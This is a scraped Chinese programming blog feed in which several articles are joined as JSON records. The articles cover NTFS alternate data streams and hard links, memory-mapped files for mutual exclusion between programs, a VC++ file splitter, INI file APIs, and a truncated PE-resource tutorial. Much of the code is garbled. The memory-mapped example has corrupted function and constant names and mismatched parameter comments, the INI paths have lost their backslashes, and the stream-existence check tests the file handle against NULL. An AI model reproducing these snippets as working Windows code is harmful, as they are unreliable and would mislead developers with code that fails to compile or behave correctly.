多流文件的结构\n多流文件是所有嵌入相同文件系统项目的单流文件的一类集合。它们看上去无疑像唯一的、基本的单元，然而包含一系列独立的子单元，您可以分别创建、删 除、修改它们。有一些常见的编程环境，其中的流是绰绰有余的。但是，如果您打算使用它们，请记住一旦您将多流文件复制到非 NTFS 存储设备（如 CD、软盘或非 NTFS 磁盘分区）上，则所有多余的流便丢失，且不可恢复。遗憾的是，这种兼容性问题使得流在实际应用中不那么受欢迎。对于设计并限定只在 NTFS 卷上运行的服务器端应用程序来说，流是一个出色的工具，可被沿用于建立杰出的、具有创造性的解决方案。\n流的基本原理 当您在非 NTFS 卷上复制多流文件时，只复制了主流文件。这意味着您丢失了多余的数据，因为即使您将该文件复制回 NTFS 磁盘，它们也不会再次出现了。现在，假设您专门在 NTFS 机器上工作，让我们看看如何创建命名流。在代码示例 1 您可看到 Windows Script Host (WSH)，以及 Microsoft Visual Basic(R) Scripting Edition (VBScript) 文件，它演示如何从 NTFS 文件中读写流。\n要想在文件中识别命名流，您应遵守特殊的命名规则，并在文件名末尾加上一个冒号，然后是流的名称。例如，要想访问 test.txt 文件上的 VersionInfo 流，您应使用以下文件名：\nTest.txt:VersionInfo 与操纵文件的任何 Microsoft Win32(R) API 函数一起使用这个文件名。要想访问 VersionInfo 流的内容，将该名称传递给 CreateFile()，然后用 ReadFile() 和 WriteFile() 照常完成读写。如果您想要检查某个特定的流是否存在于文件中，按如下所示编写文件流的名称，并使用 CreateFile() 检查它是否存在：\nHANDLE hfile = CreateFile(szFileStreamName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);CloseHandle(hfile);if (hfile == NULL) MessageBox(hWnd, \"Error\", NULL, MB_OK); 要想对流进行处理，您不必是一个熟练的 C++ 程序员。您也可以在 Visual Basic 中、甚至在脚本代码中利用流，如代码示例 1 所示。使这种透明性称为可能的关键因素是，所有低级 Win32 API 函数，特别是 CreateFile()，均支持 NTFS 分区上基于流的文件名。如果您试图在非 NTFS 分区上，例如在 Windows 98 机器上，打开称为 Test.txt:VersionInfo 的文件，您将会得到“未找到文件”的出错消息。请注意，问题的实质是，只是含有该文件的卷的文件系统，而不是调用应用程序所驻留的 Windows 平台或磁盘分区类型。换言之，您也可以通过连接的 Windows 98 机器，成功地访问 NTFS 分区上共享文件夹中特定的命名流。此外，应考虑到，即使对长文件名来说，冒号也不是有效的字符。因此，当 CreateFile() 遇到文件名中的冒号时，会知道它具有特殊的含义。\n如代码示例 1 所示，您也可以与 VBScript 一起使用流，因为 FileSystemObject 对象模式非常有效地运用 CreateFile() 来打开、写入、创建和测试文件。在示例代码中，我创建的文本文件带有空数据、0 长度的主流以及所需的任意多个命名流。请试着运行演示程序并创建两个流。可以将它们命名为 VersionInfo 和 VersionInfoEx。Windows shell 中没有任何迹象有助于您推断出在某一特定的文件中有多个流的存在。在图 2 中，您可看到 test.txt文件在“Windows 资源管理器”中的样子。\n图 2. 一个文件的长度可为 0，但具有命名流。\nSize 列只显示了未命名的主流的大小，甚至在属性对话框中也无法获取关于流的更多信息。只有在 NTFS 卷上，Windows 2000 属性对话框中，您才有唯一的机会能够读到所有文件的相关信息，包括文本文件。单击摘要选项卡，然后输入，比如，一个作者名，如图 3 所示。\n顺便提一句，由于 Windows 2000 的 shell 用户界面的改进，此类名称可在特定的作者列中显示出来。有关详细信息，请参阅位于 http://msdn.microsoft.com/msdnmag/（英文）上 MSDN Magazine 中的首要问题。\n图 3. NTFS 卷上 .txt 文件的相关附加信息\n嗨，等一下。尽管摘要信息是您为 Word 或 Excel 文档设置的一般数据，但它更无疑是文档本身的一部分。能不能将它与文本文件相结合而又不改变纯文本的内容呢？当然能。Shell 通过流来完成它！应用那些改变后，立即尝试将该文件复制到另一个非 NTFS 分区中。将出现如图 4 所示的对话框。\n图 4. Windows 2000 关于可能的流数据丢失的预警。\n事实证明 test.txt 文件包含一个带文档摘要信息的流。当您试图将带有附加信息的文件复制到不支持该文件的卷中时，系统会有所察觉。在非 NTFS 分区中，只复制了未命名的主流，其余的则被废除。因此，如果目标文件不相符，则基于流的文件几乎不会被交换。\n流备份和枚举 是否有办法 — 一种或两种 API 函数 — 来枚举某一特定文件拥有的所有流呢？是的，有。但它并非那么简单而直观。Win32 备份 API 函数（BackupRead、BackupWrite 等等），可被用来枚举文件中的流。不过，它们用起来有点怪异，而且看上去更像一个工作区，而不是有效的最终的解决方案。\n其思路是，当您想要备份一个文件或整个文件夹时，您需要打包并存储全部可能存在的信息。因此，当需要尝试枚举文件中的流时，BackupRead() 是您最好的朋友。我将重点介绍该函数的原型：\nBOOL BackupRead( HANDLE hFile, LPBYTE lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, BOOL bAbort, BOOL bProcessSecurity, LPVOID *lpContext ); 为了我们的目的，您此处可忽略诸如上下文和安全等方面。hFile 参数必须通过调用 CreateFile() 获得，而 lpBuffer 应指向 WIN32_STREAM_ID 数据结构：\ntypedef struct _WIN32_STREAM_ID { DWORD dwStreamId; DWORD dwStreamAttributes; LARGE_INTEGER Size; DWORD dwStreamNameSize; WCHAR cStreamName[ANYSIZE_ARRAY]; } WIN32_STREAM_ID, *LPWIN32_STREAM_ID; 这种结构的前 20 个字节表示每个流的标题。流的名称紧随 dwStreamNameSize 字段后面出现，名称后面跟着流的内容。因为传统的文件内容可被视为流 — 尽管是未命名的流，所以要想枚举所有的流，您只需进行循环，直到 BackupRead 返回 False。实际上，BackupRead 应该能读取所有与给定的文件或文件夹相关的信息：\nWIN32_STREAM_ID sid;ZeroMemory(\u0026amp;sid, sizeof(WIN32_STREAM_ID));DWORD dwStreamHeaderSize = (LPBYTE)\u0026amp;sid.cStreamName - (LPBYTE)\u0026amp;sid+ sid.dwStreamNameSize;bContinue = BackupRead(hfile, (LPBYTE) \u0026amp;sid, dwStreamHeaderSize, \u0026amp;dwRead, FALSE, FALSE, \u0026amp;lpContext); 上面的这个小段是在流的标题中读到的关键代码。如果该操作是成功的，即可尝试读取该流的实际名称：\nWCHAR wszStreamName[MAX_PATH]; BackupRead(hfile, (LPBYTE) wszStreamName, sid.dwStreamNameSize, \u0026amp;dwRead, FALSE, FALSE, \u0026amp;lpContext); 在访问下一个流之前，首先要调用 BackupSeek()，向前移动备份指示器：\nBackupSeek(hfile, sid.Size.LowPart, sid.Size.HighPart, \u0026amp;dw1, \u0026amp;dw2, \u0026amp;lpContext); 在多数情况下，您可将流视为常规文件 — 如，要删除流，可以用 DeleteFile()。如果想要刷新流的内容，只需使用 ReadFile() 和 WriteFile()。没有正式的和得到支持的方法来移动或重新命名流。在本文的最后部分，我将利用本代码建立一个 NTFS 2000 专用的 Windows shell 扩展，将新的属性页添加到所有带流信息的文件中。同时，让我们来快速浏览一下 NTFS 的另一个特性。\n硬链接 您知道快捷方式吗？ — 就是那些小 .lnk 文件，它们多数散布在桌面上，用于引用其他内容。毫无疑问，快捷方式是一个有用的特性，但也存在一些缺点。首先，如果使来自不同文件夹的多个快捷方式指向 同一个目标，您实际上拥有了同一个 — 幸好较小 — 文件的多个副本。更为重要的是，快捷方式的目标对象会随着时间而更改。它可能会被移动、删除或仅仅是重新命名。您的快捷方式情形如何呢？它们能否检测并跟 踪到那些更改，从而正确地（自动）更新呢？很遗憾，它们不能。其主要原因是，快捷方式是应用程序级的功能。从系统的角度来看，它们只不过是用户定义的文 件，当您想要打开它们时，只需做一些额外的工作即可。考虑到拥有快捷方式是一种特权，您可能会决定也将其分配给其他文件类。假如这样做有意义，您可以创建 属于自己的、扩展名不是 .lnk 的快捷方式类。完成该任务的是在类节点下叫做 IsShortcut 的注册表项。假设您想让 .xyz 文件作为快捷方式。通过在 HKEY_CLASSES_ROOT 下创建 .xyz 节点来注册该文件类，并使其指向另一个节点，通常是 xyzfile。然后将空的 REG_SZ 项目添加到：\nHKEY_CLASSES_ROOTxyzfile 这样就做完了。\n其他操作系统，尤其是 Posix 和 OS/2，具有在系统级上起作用的类似功能。特别是 OS/2，将它们称为 shadows。 硬链接是给定文件在系统级上的快捷方式。通过创建现有文件的硬链接，您既没有复制该文件，也没有复制对其基于文件的引用（即，快捷方式）。相反，您将信息 添加到 NTFS 级上它的目录项中。物理文件在原始位置上原封未动。简言之，您现在可使用两个或更多个名称来访问相同的内容了！\n硬链接使您免于保留同一个文件的多个（除需要外）副本，使负责管理不同路径名的系统处理单一的物理内容。这就极大地简化了您的工作，并节省了宝贵的 磁盘空间。另外，硬链接作为系统级的快捷方式，始终指向正确的目标文件 — 无论您是否重新命名或移动了它。由于该链接存储在文件系统级，因此所有的更改都自动而透明地得到应用。值得注意的是，硬链接必须在相同的 NTFS 卷中被创建。比如，您不能让驱动器 C: 上的硬链接，指向驱动器 D: 上的文件。\n为了听起来更熟悉，可以将硬链接想象为文件的别名。您可以使用任何一个别名访问该文件，只有当删除了所有别名以后，该文件才能被删除。（别名的作用正如引用计数一样。）因为硬链接是别名，所以使它们的内容同步是不成问题的。\nCreateHardLink() 是用于创建硬链接的 API 函数。其原型如下所示：\nBOOL CreateHardLink( LPCTSTR lpFileName, LPCTSTR lpExistingFileName, LPSECURITY_ATTRIBUTES lpSecurityAttributes ); 在旧的 MIND 一文所含的代码中（请参阅 “Windows 2000 for Web Developers” 的 MIND（英文），1999 年 3 月），我提供了一个 COM 对象，使您能够通过脚本代码创建硬链接。代码示例 2 显示了使用它来创建给定文件的硬链接的 VBScript 程序。尽管很容易找出一个文件有多少个硬链接，然而没有枚举所有硬链接的工具。API 函数 GetFileInformationByHandle() 填充了 BY_HANDLE_FILE_INFORMATION 结构，其 nNumberOfLinks 字段向您发出关于枚举的通知。枚举所有链接文件的名称稍微困难一点。基本上，您必须扫描整个卷，并且为每一个文件跟踪分配给它的唯一 ID。当您遇到现有的 ID 时，就已经找到该文件的一个硬链接了。文件的唯一 ID 是由系统分配的，并被存储在 BY_HANDLE_FILE_INFORMATION 的 nFileIndexHigh 和 nFileIndexLow 字段中。\n享受 NTFS 功能 对于向文件添加附加信息，而又不改变或损坏原始格式，同时不占用磁盘空间来说，流的作用特别重要。当然，流会占用其本身的空间，然而 “Windows 资源管理器”似乎没有觉察到这一点。流对于“Windows 资源管理器”来说是不可见的，所以尽管看上去似乎有足够的可用磁盘空间，但实际上可用的磁盘空间已经降低到危险的程度了。您可以将附加（不可见的）信息添 加给任何文件，包括文本和可执行文件。\n另一方面，硬链接是聚集共享信息的杰出资源。您只有一个真正的、可以从各个不同的路径访问的信息库。要知道，硬链接对于 Windows NT 技术来说，并不是一个全新的概念。自从 Windows NT 一出台，就有了硬链接。然而，直到有了 Windows 2000，Microsoft 才提供了创建硬链接的公用函数。每个文件至少有一个到其自身的链接，因而 GetFileInformationByHandle 总会返回大于零的链接数。您不能将硬链接设置到目录，而只能设置到文件。\n流和硬链接有个共同的实际问题，就是它们从 shell 得到的支持极为有限。为了补救这一问题，我编写了一个 shell 扩展，以提供有关给定文件的流和硬链接的信息。图 5 图示了它的外观和感观。\n图 5. 流选项卡显示了关于流和硬链接的信息。\nShell 扩展的源代码用 BackupRead() API 函数枚举流。只需通过调用 DeleteFile()，选定的流的内容即可被删除。编辑流按钮运行代码示例 1 中的脚本代码，通过它，您可以添加或更新流。同样地，创建硬链接按钮运行代码示例 2 中的代码，以创建附加的链接。只有在刷新后，用户界面才反映出所有的更改。最后应注意，要记住如果您删除了硬链接（即删除了文件），只要被删除的文件仍在“回收站”里，则链接的总数就不会被更新。\n摘要 在本文中，我只是粗浅地介绍了 NTFS 2000，侧重于其主要功能，如流和硬链接。如果您想对 Windows 2000 文件系统的新功能有更为广泛的了解，我建议您参阅“A File System for the 21st Century: Previewing the Windows NT 5.0 File System（21 世纪的文件系统：预览 Windows NT 5.0 文件系统）”一文，它是由 Jeff Richter 和 Luis Cabrera 于 1998 年 11 月为 MSJ 撰写的，（http://www.microsoft.com/msj/1198/ntfs/ntfs.htm（英文））。该文并未涉猎一些引人注目的话题，尤其是稀疏流和重新分析点，不过，如果您对此文感兴趣的话，请告知我们，我们会进一步帮助您。\n代码示例 1 代码示例 2\n","permalink":"https://hessian.cn/p/657.html","summary":"简介 自 1994 年以来，有关 Microsoft(R) Windows NT(R) 的完全面向对象版的神话已流传一段时日了。Cairo — 传说中的 OS 版本的代码名 — 从未在 Redmond 的实验室以外得以实现。自有 Cairo 起，它的一些基本思想就不时地被公之于众。\n","title":"从编程员的角度理解 NTFS 2000：流和硬链接"},{"content":"在软件的开发过程中，有时需要控制一些程序使他们不能同时运行，也就是多个程序间互斥运行（还包括禁止同一程序运行多个实例）。针对这一问题，我们在Visual C++6.0中利用内存映射文件实现了多个程序间的互斥运行。内存映射文件可以创建一个没有和磁盘文件相联系的内存对象，将文件的信息映射到一个进程的地址空间上，我们可以访问该文件中的数据，就如同它位于内存中一样。同时，在程序设计中可以给内存映射文件对象起一个名字，这个名字在整个系统中是唯一的，这个名字可以在多个进程之间共享，通过名字共享能实现进行信息交换，进而实现多个程序间的互斥运行。\n在讲述具体的编程方法之前，让我们先介绍和内存映射文件操作有关的几个重要的函\nCreateFileMapping的函数为指定的文件创建一个文件映射对象，该函数的原形如下： HANDLE CreateFileMapping(HANDLE hFile,//用于映射的文件句柄 LPSECURITY?ATTRIBUTES FileMappingAttributes,//内存映射文件的安全描述符 DWORD Flprotect,//文件映射对象的最大长度的高32位 DWORD dwMaximumSizelow,//最大长度的低32位 LPCTSTR IPNAME//指定这个内存映射文件的名字)\n值得注意的是，参数如果是OXFFFFFFFF，将在操作系统虚拟内存页面替换文件中创建文件映射对象，而不是使用磁盘文件，同时必须给出这个映射对象的大小。\nNAO VUEWIFFILE函数将文件的视图映射到一个进程地址空间上，返回LPVOID类型的内存指针。通过它，就可以直接访问文件视图中的信息。 LPVOID MAP VIEWLFFILE（HANDLE HFILEMAPPINGOBUCT，//映射文件对象句柄 DWORD DWDESIREDACCESS，//访问模式 DWORD DWFILEOFFSETHIGH，//文件偏移地址的高32位 DWORD DWFILEOFFSETHIGH，//文件偏移地址的低32位 DWORD DWNUMBEROFBYTESTOMAP//映射视图的大小）\n在Visual c++6.0中我们用默认方式生成基于对话框的应用程序，在程序的初始化阶段，在CwinApp生类的Initln_stance函数的开始处，添加以下代码：\n（//创建内存映射文件对象，mu_texRunning是其名字，所有需要互斥运行 //的程序都使用这个名字（这些代码对于需要互斥运行的程序是通用的）HANDLE hMap=CreateFileMapping((HANDLE)0Xffffffffnull,PAGE_READWRLTE,0,128,\u0026quot;Mu_texRunning\u0026quot;) if(hMap==NULL)//如果创建失败 （AfxMessageBox(\u0026quot;创建用于互斥运行的内存映文件对象失败！\u0026rdquo;，MB?OK MB??ICLNSTOP)；\nreturn FALSE;//退出此程序）\n//如果已经存在这个同名对象，说明已有需要互斥的其他程序运行了\nelse if(GetLastError( )==ER_ROR_ALREADY_EXISTS)\n(LPVOID ipMen=MapViewOFFile(hMap,FILE_MAP_WRITE,0,0,0);\nCstring str=(char*)ipMem;//获得已在运行的程序的描述信息\nUnmapViewofFile(lpMem);//解除映射图\nCloseHandle(hMap);//关闭此对象\nAfxMessageBox(str,MB_ok MB_ICONSTOP);显示有关的描述信息\nReturn FALSE;//退出此程序）\nElse//经过上面的检查，说明这是第一个运行的互斥程序\n（LPVOID ip_mem=MapViewofFile(hMap,FILE_MAP_WRITE,0,0,0);\n//这里可写入该程序运行的描述信息，上面的错误提示就是这信信息\nstrcpy((char*)lpMem,\u0026quot;xxx程序正在运行！\u0026rdquo;)；\nUnmapViewofFile(lpMem);//解除映射图）\n//下面可以继续执行函数INITIN?STANCE原有的代码了\nAfxEnableControl_comtainer();\n//当程序运行结束了，要记住调用CHANDIE（HMAP）关闭这个对象句柄，//这里可以在Initinstance函数最后returnFALSE之前调用\nCloseHandle(hMap);//关闭内存映文件对象句柄 RETURN false;)以上的程序在Visual C++6.中已调试通过。其他非对话框类型的程序可以在各自的初始化和终止阶段添加类似的代码，只是如果内存映射文件对象的句柄hMap可能在不同函数中使用，那就要将其定义成CwinApp生类的成员变量或是全局变量了。 ","permalink":"https://hessian.cn/p/613.html","summary":"在软件的开发过程中，有时需要控制一些程序使他们不能同时运行，也就是多个程序间互斥运行（还包括禁止同一程序运行多个实例）。针对这一问题，我们在Visual C++6.0中利用内存映射文件实现了多个程序间的互斥运行。内存映射文件可以创建一个没有和磁盘文件相联系的内存对象，将文件的信息映射到一个进程的地址空间上，我们可以访问该文件中的数据，就如同它位于内存中一样。同时，在程序设计中可以给内存映射文件对象起一个名字，这个名字在整个系统中是唯一的，这个名字可以在多个进程之间共享，通过名字共享能实现进行信息交换，进而实现多个程序间的互斥运行。\n","title":"VC++中用内存映射文件"},{"content":"\u0026nbsp;\u0026nbsp; 你也许会遇到到这样一个问题？当你有一个较大的软件，而无法用一张软盘将其全部拷下时，你也许会想到该将它分解开，分盘拷回去后，再将它们合并起来。现在的这种分割工具很多，你想自己动手做一个适合自己的分割工具么？下面就让我用以前用VC做的一个＜袖珍文件分割器＞的例程来告诉你吧！程序运行后界面如下图： 基本构成思想：文件分割的基本思想比我之前发表的另一篇文章＜如何将多个文件合并为一个可执行程序＞的构成思想简单多了，它主要也分为分割文件和合并分割后的文件二大部分。分割文件，将原文件按指定分割大小进行等分，然后顺序读取其指定分割大小数据后到写到各自的新建文件中。合并文件，将各分割后的文件顺序读取后，写入到一个文件中既可。 1、分割文件时：打开文件，读取指定的分割大小一段数据，写入到一新建文件中，接着再读同样大小的一段数据，再写入到一新建文件中\u0026hellip;\u0026hellip;，直到读出文件最后一部分数据，写入到最后一个新建文件中。对每一个分割后的新建文件名，采用原文件名前加数字信息的方法，按分割的顺序，按个加上一数字标识信息，以便合并时使用。 分割文件的部分代码实现如下： //文件分割涵数 int CFileSpltDlg::SplitMe() { \u0026hellip;\u0026hellip; (省略:此部分代码实现省略掉) //分割文件 do { //动态建立一个新建文件名的前的数字 name = _ltoa(l, buff, 10); name += _T(\u0026quot;_\u0026quot;); CString newpath; //判断选择目录未尾是否已有\u0026quot;\u0026quot;符 if(m_targetpath.Right(1)==\u0026#8217;\\\u0026#8217;) newpath = m_targetpath; else newpath = m_targetpath + _T(\u0026quot;\\\u0026quot;); if (!destFile.Open(newpath + name + m_SourceFile.GetFileName(), CFile::modeWrite | CFile::shareExclusive | CFile::typeBinary | CFile::modeCreate, \u0026amp;ex)) { TCHAR szError[1024]; ex.GetErrorMessage(szError, 1024); ::AfxMessageBox(szError); m_SourceFile.Close(); return 1; } do { dwRead = m_SourceFile.Read(buffer, nCount); destFile.Write(buffer, dwRead); }//当文件小于指定要分割的大小时 while (dwRead \u0026gt; 0 \u0026amp;\u0026amp; destFile.GetLength() \u0026lt; newlen); destFile.Close(); l++; UpdateWindow(); }while (dwRead \u0026gt; 0); m_SourceFile.Close(); return 0; ｝ 2、合并文件时：和上面分割所采用的方法相反，将各个分割后的小文件读出后，按其分割后文件名前数字大小的顺序，按个写入到新建的文件中，这一新建文件的名字，为去掉分割后文件前面数字部分后的文件名(既原文件名)。 合并文件的部分代码实现如下： // 文件合并涵数 int CFileSpltDlg::MergeMe() { \u0026hellip;\u0026hellip; (省略:此部分代码实现省略掉) //开始合并文件 do { //自动定位分割文件名前的数字信息 pref = _ltoa(l, buff, 10); pref += _T(\u0026quot;_\u0026quot;); //打开新的分割文件 if (!m_SourceFile.Open(newpath + pref + m_filename, CFile::modeRead | CFile::shareExclusive | CFile::typeBinary, \u0026amp;ex)) { TCHAR szError[1024]; ex.GetErrorMessage(szError, 1024); destFile.Close(); m_path = _T(\u0026quot;\u0026quot;); m_filename = _T(\u0026quot;\u0026quot;); newpath = _T(\u0026quot;\u0026quot;); UpdateData(FALSE); return 0; } else //形成一个新的文件名 name = _T(newpath + pref + m_filename); do {//写入到目标文件中 dwRead = m_SourceFile.Read(buffer, nCount); destFile.Write(buffer, dwRead); }while (dwRead \u0026gt; 0); m_SourceFile.Close(); l++; UpdateWindow(); }while (l \u0026lt; 500);//little bit dirty solution, but you can always improve it!\u0026#8230; return 0; } 以上各部分代码的具体实现，请在下载例程后，参看源代码既可。 联系方式： 地址：陕西省西安市劳动路2号院六单元 邮编：710082 作者EMAIL：jingzhou_xu@163.net ","permalink":"https://hessian.cn/p/632.html","summary":"\u0026nbsp;\u0026nbsp; 你也许会遇到到这样一个问题？当你有一个较大的软件，而无法用一张软盘将其全部拷下时，你也许会想到该将它分解开，分盘拷回去后，再将它们合并起来。现在的这种分割工具很多，你想自己动手做一个适合自己的分割工具么？下面就让我用以前用VC做的一个＜袖珍文件分割器＞的例程来告诉你吧！程序运行后界面如下图： 基本构成思想：文件分割的基本思想比我之前发表的另一篇文章＜如何将多个文件合并为一个可执行程序＞的构成思想简单多了，它主要也分为分割文件和合并分割后的文件二大部分。分割文件，将原文件按指定分割大小进行等分，然后顺序读取其指定分割大小数据后到写到各自的新建文件中。合并文件，将各分割后的文件顺序读取后，写入到一个文件中既可。 ","title":"如何将一个文件分割成多个小文件"},{"content":"在我们写的程序当中,总有一些配置信息需要保存下来,以便完成程序的功能,最简单的办法就是将这些信息写入INI文件中,程序初始化时再读入.具体应用如下:\n一.将信息写入.INI文件中.\n1.所用的WINAPI函数原型为: BOOL WritePrivateProfileString(\nLPCTSTR lpAppName,\nLPCTSTR lpKeyName,\nLPCTSTR lpString,\nLPCTSTR lpFileName\n); 其中各参数的意义:\nLPCTSTR lpAppName 是INI文件中的一个字段名.\nLPCTSTR lpKeyName 是lpAppName下的一个键名,通俗讲就是变量名.\nLPCTSTR lpString 是键值,也就是变量的值,不过必须为LPCTSTR型或CString型的.\nLPCTSTR lpFileName 是完整的INI文件名.\n2.具体使用方法:设现有一名学生,需把他的姓名和年龄写入 c:studstudent.ini 文件中. CString strName,strTemp;\nint nAge;\nstrName=\u0026quot;张三\u0026quot;;\nnAge=12;\n::WritePrivateProfileString(\u0026quot;StudentInfo\u0026quot;,\u0026quot;Name\u0026quot;,strName,\u0026quot;c:\\stud\\student.ini\u0026quot;); 此时c:studstudent.ini文件中的内容如下:\n[StudentInfo]\nName=张三\n3.要将学生的年龄保存下来,只需将整型的值变为字符型即可:\nstrTemp.Format(\u0026quot;%d\u0026quot;,nAge);\n::WritePrivateProfileString(\u0026quot;StudentInfo\u0026quot;,\u0026quot;Age\u0026quot;,strTemp,\u0026quot;c:\\stud\\student.ini\u0026quot;); 二.将信息从INI文件中读入程序中的变量.\n1.所用的WINAPI函数原型为:\nDWORD GetPrivateProfileString(\nLPCTSTR lpAppName, LPCTSTR lpKeyName, LPCTSTR lpDefault, LPTSTR lpReturnedString, DWORD nSize, LPCTSTR lpFileName ); 其中各参数的意义: 前二个参数与 WritePrivateProfileString中的意义一样.\nlpDefault : 如果INI文件中没有前两个参数指定的字段名或键名,则将此值赋给变量. lpReturnedString : 接收INI文件中的值的CString对象,即目的缓存器.\nnSize : 目的缓存器的大小.\nlpFileName : 是完整的INI文件名.\n2.具体使用方法:现要将上一步中写入的学生的信息读入程序中.\nCString strStudName;\nint nStudAge; GetPrivateProfileString(\u0026quot;StudentInfo\u0026quot;,\u0026quot;Name\u0026quot;,\u0026quot;默认姓名\u0026quot;,strStudName.GetBuffer(MAX_PATH),MAX_PATH,\u0026quot;c:\\stud\\student.ini\u0026quot;); 执行后 strStudName 的值为:\u0026quot;张三\u0026quot;,若前两个参数有误,其值为:\u0026quot;默认姓名\u0026quot;.\n3.读入整型值要用另一个WINAPI函数: UINT GetPrivateProfileInt(\nLPCTSTR lpAppName, LPCTSTR lpKeyName, INT nDefault, LPCTSTR lpFileName ); 这里的参数意义与上相同.使用方法如下:\nnStudAge=GetPrivateProfileInt(\u0026quot;StudentInfo\u0026quot;,\u0026quot;Age\u0026quot;,10,\u0026quot;c:\\stud\\student.ini\u0026quot;); 三.循环写入多个值,设现有一程序,要将最近使用的几个文件名保存下来,具体程序如下:\n1.写入:\nCString strTemp,strTempA;\nint i;\nint nCount=6;\nfile://共有6个文件名需要保存\nfor(i=0;i {strTemp.Format(\u0026quot;%d\u0026quot;,i);\nstrTempA=文件名;\nfile://文件名可以从数组,列表框等处取得.\n::WritePrivateProfileString(\u0026quot;UseFileName\u0026quot;,\u0026quot;FileName\u0026quot;+strTemp,strTempA,\n\u0026quot;c:\\usefile\\usefile.ini\u0026quot;);\n}\nstrTemp.Format(\u0026quot;%d\u0026quot;,nCount);\n::WritePrivateProfileString(\u0026quot;FileCount\u0026quot;,\u0026quot;Count\u0026quot;,strTemp,\u0026quot;c:\\usefile\\usefile.ini\u0026quot;);\nfile://将文件总数写入,以便读出. 2.读出:\nnCount=::GetPrivateProfileInt(\u0026quot;FileCount\u0026quot;,\u0026quot;Count\u0026quot;,0,\u0026quot;c:\\usefile\\usefile.ini\u0026quot;);\nfor(i=0;i {strTemp.Format(\u0026quot;%d\u0026quot;,i);\nstrTemp=\u0026quot;FileName\u0026quot;+strTemp;\n::GetPrivateProfileString(\u0026quot;CurrentIni\u0026quot;,strTemp,\u0026quot;default.fil\u0026quot;, strTempA.GetBuffer(MAX_PATH),MAX_PATH,\u0026quot;c:\\usefile\\usefile.ini\u0026quot;);\nfile://使用strTempA中的内容.\n} 补充四点:\n1.INI文件的路径必须完整,文件名前面的各级目录必须存在,否则写入不成功,该函数返回 FALSE 值.\n为在VC++中, \\ 才表示一个 .\n3.也可将INI文件放在程序所在目录,此时 lpFileName 参数为: \u0026quot;.\\student.ini\u0026quot;.\n","permalink":"https://hessian.cn/p/331.html","summary":"在我们写的程序当中,总有一些配置信息需要保存下来,以便完成程序的功能,最简单的办法就是将这些信息写入INI文件中,程序初始化时再读入.具体应用如下:\n","title":"用Visual C++操作INI文件"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp; 程序所用到的各种资源，比如 bmp,cursor,menu,对话框等都存在PE文件中。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们将详细介绍关于资源的各种结构，通过一个例子来说明资源及其相关结构是怎么放在PE文件中的。以及如何在遍历PE文件中的所有资源。我们只最终找到这些资源在文件中的位置和长度。而不具体分析某种资源的格式，比如有个BMP的资源，我们不分析BMP格式。 一 找到资源在文件中位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 资源都放在PE文件的某个节中，该节的节表项中的PointerToRawData，就是资源节在文件中的位置。\n1.1 得到PE Header在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 通过DOS Header结构的成员e_lfanew，可以确定PE Header的在文件中的位置。\n1.2 得到文件中节的数目。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 确定PE Header的在文件中的位置之后，就可以确定PE Header中的成员FileHeader和成员OptionalHeader在文件中的位置。根据 FileHeader 中的 成员NumberOfSections 的值，就可以确定文件中节的数目，也就是节表数组中元素的个数。\n1.3 得到节表在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; PE Header在文件中的位置加上PE Header结构的大小就可以得到节表在文件中的开始位置。PE Header结构的大小可以由Signature的大小加上FileHeader的大小再加上FileHeader中的 SizeOfOptionalHeade来确定。其实到目前为止SizeOfOptionalHeade也就是结构Optional Header的大小也是固定的,所以整个PE Header结构的大小也是固定。不过为了安全起见，还是用Signature的大小加上FileHeader的大小再加上FileHeader中的SizeOfOptionalHeade来确定比较保险。\n1.4 得到资源节在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 第1.2步中我们确定了文件中节的数目，第1.3步中我们确定了节表在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 现在有两种方法来确定资源在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 第一种方法，根据节的数目，遍历节表数组。也就是从0到(节表数-1)的每一个节表项。\n比较每一个节表项的Name字段，看是否等于\u0026quot;.rsrc\u0026quot;。如果等于。就找到了资源节的节表项。\n这个节表项中的 PointerToRawData 中的值，就是资源节在文件中的位置。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 第二种方法，取得PE Header中的Optional Header中的DataDirectory数组中的第三项，\n也就是资源项。DataDirectory[]数组的每项都是IMAGE_DATA_DIRECTORY结构，该结构定义如下。\ntypedef struct _IMAGE_DATA_DIRECTORY {\nDWORD VirtualAddress;\nDWORD Size;\n} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n取得DataDirectory数组中的第三项中的成员VirtualAddress的值。这个值就是在内存中资源节的RVA。\n然后根据节的数目，遍历节表数组。也就是从0到(节表数-1)的每一个节表项。\n每个节在内存中的RVA的范围是从该节表项的成员VirtualAddress字段的值开始（包括这个值），\n到VirtualAddress+Misc.VirtualSize的值结束（不包括这个值）。\n我们遍历整个节表，看我们取得的资源节的RVA，在哪个节表项的RVA范围之内。\n如果在范围之内，就找到了资源节的节表项。\n这个节表项中的 PointerToRawData 中的值，就是资源节在文件中的位置。\n如果这个PE文件没有资源的话，DataDirectory数组中的第三项内容为0。\n这样我们就得到了资源在文件中开始的位置。\n二 PE文件中的资源。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们已经得到了资源节在文件中的位置。\n资源节最开始是一个IMAGE_RESOURCE_DIRECTORY结构。\n在WINNT.H中定义如下。\ntypedef struct _IMAGE_RESOURCE_DIRECTORY {\nDWORD Characteristics;\nDWORD TimeDateStamp;\nWORD MajorVersion;\nWORD MinorVersion;\nWORD NumberOfNamedEntries;\nWORD NumberOfIdEntries;\n// IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];\n} IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;\n这个结构长度为16字节，共有6个字段。\n各字段含义如下：\nCharacteristics： Resource 